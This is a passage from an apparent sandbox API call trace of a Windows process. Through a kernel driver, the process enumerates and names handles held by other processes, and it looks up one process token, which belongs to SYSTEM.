ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.258] PsAcquireProcessExitSynchronization () returned 0x0 [0069.258] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.258] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0069.258] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.258] PsReleaseProcessExitSynchronization () returned 0x2 [0069.258] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.258] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8003999044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003999044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.258] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0069.258] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.259] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.259] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0069.259] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.259] PsAcquireProcessExitSynchronization () returned 0x0 [0069.259] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.259] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0069.259] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.259] PsReleaseProcessExitSynchronization () returned 0x2 [0069.259] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.259] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.259] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0069.259] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.260] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.260] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.260] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.260] PsAcquireProcessExitSynchronization () returned 0x0 [0069.260] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.260] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0069.260] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.260] PsReleaseProcessExitSynchronization () returned 0x2 [0069.260] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.260] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa8003997044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003997044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.260] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0069.260] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.260] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.260] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0069.260] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.260] PsAcquireProcessExitSynchronization () returned 0x0 [0069.260] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.260] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0069.260] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.260] PsReleaseProcessExitSynchronization () returned 0x2 [0069.260] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.260] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800399f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800399f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.260] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x12 [0069.260] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.260] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.260] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0069.260] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.260] PsAcquireProcessExitSynchronization () returned 0x0 [0069.260] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.260] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0069.261] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.261] PsReleaseProcessExitSynchronization () returned 0x2 [0069.261] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.261] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.261] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x12 [0069.261] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.261] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.261] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0069.261] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.261] PsAcquireProcessExitSynchronization () returned 0x0 [0069.261] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.261] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0069.261] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.261] PsReleaseProcessExitSynchronization () returned 0x2 [0069.261] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.261] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.261] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0069.261] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.261] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.261] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0069.261] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.261] PsAcquireProcessExitSynchronization () returned 0x0 [0069.261] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.261] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0069.261] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.261] PsReleaseProcessExitSynchronization () returned 0x2 [0069.261] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.261] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.261] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0069.262] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.262] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.262] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0069.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0069.262] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0069.262] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0069.262] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd7 [0069.262] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa800215d040 | out: TokenHandle=0xfffffa800215d040*=0xc8) returned 0x0 [0069.262] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0069.262] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.262] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0069.262] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0069.263] CloseHandle (hObject=0xc8) returned 1 [0069.263] CloseHandle (hObject=0xc0) returned 1 [0069.263] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0069.263] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.263] PsAcquireProcessExitSynchronization () returned 0x0 [0069.263] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.263] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0069.264] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.264] PsReleaseProcessExitSynchronization () returned 0x2 [0069.264] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.264] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.264] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0069.264] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.264] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.264] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0069.264] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.264] PsAcquireProcessExitSynchronization () returned 0x0 [0069.264] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.264] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0069.264] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.264] PsReleaseProcessExitSynchronization () returned 0x2 [0069.264] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.264] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039a4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.264] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0069.264] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.264] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.264] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0069.264] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.264] PsAcquireProcessExitSynchronization () returned 0x0 [0069.264] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.264] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0069.264] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.264] PsReleaseProcessExitSynchronization () returned 0x2 [0069.264] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.264] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039a5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.264] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0069.264] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.265] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.265] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0069.265] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.265] PsAcquireProcessExitSynchronization () returned 0x0 [0069.265] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.265] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0069.265] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.265] PsReleaseProcessExitSynchronization () returned 0x2 [0069.265] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.265] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039a6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.265] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0069.265] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.265] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.265] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0069.265] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.265] PsAcquireProcessExitSynchronization () returned 0x0 [0069.265] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.265] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0069.265] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.265] PsReleaseProcessExitSynchronization () returned 0x2 [0069.265] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.265] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80039a7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.265] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0069.265] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.265] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.265] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0069.265] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.265] PsAcquireProcessExitSynchronization () returned 0x0 [0069.265] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.266] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0069.266] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.266] PsReleaseProcessExitSynchronization () returned 0x2 [0069.266] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.266] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.266] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0069.266] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.266] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.266] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0069.266] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.266] PsAcquireProcessExitSynchronization () returned 0x0 [0069.266] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.266] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0069.266] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.266] PsReleaseProcessExitSynchronization () returned 0x2 [0069.266] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.266] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.266] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0069.266] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.266] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.266] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0069.266] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.266] PsAcquireProcessExitSynchronization () returned 0x0 [0069.266] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.266] ObReferenceObjectByHandle (in: Handle=0x298, 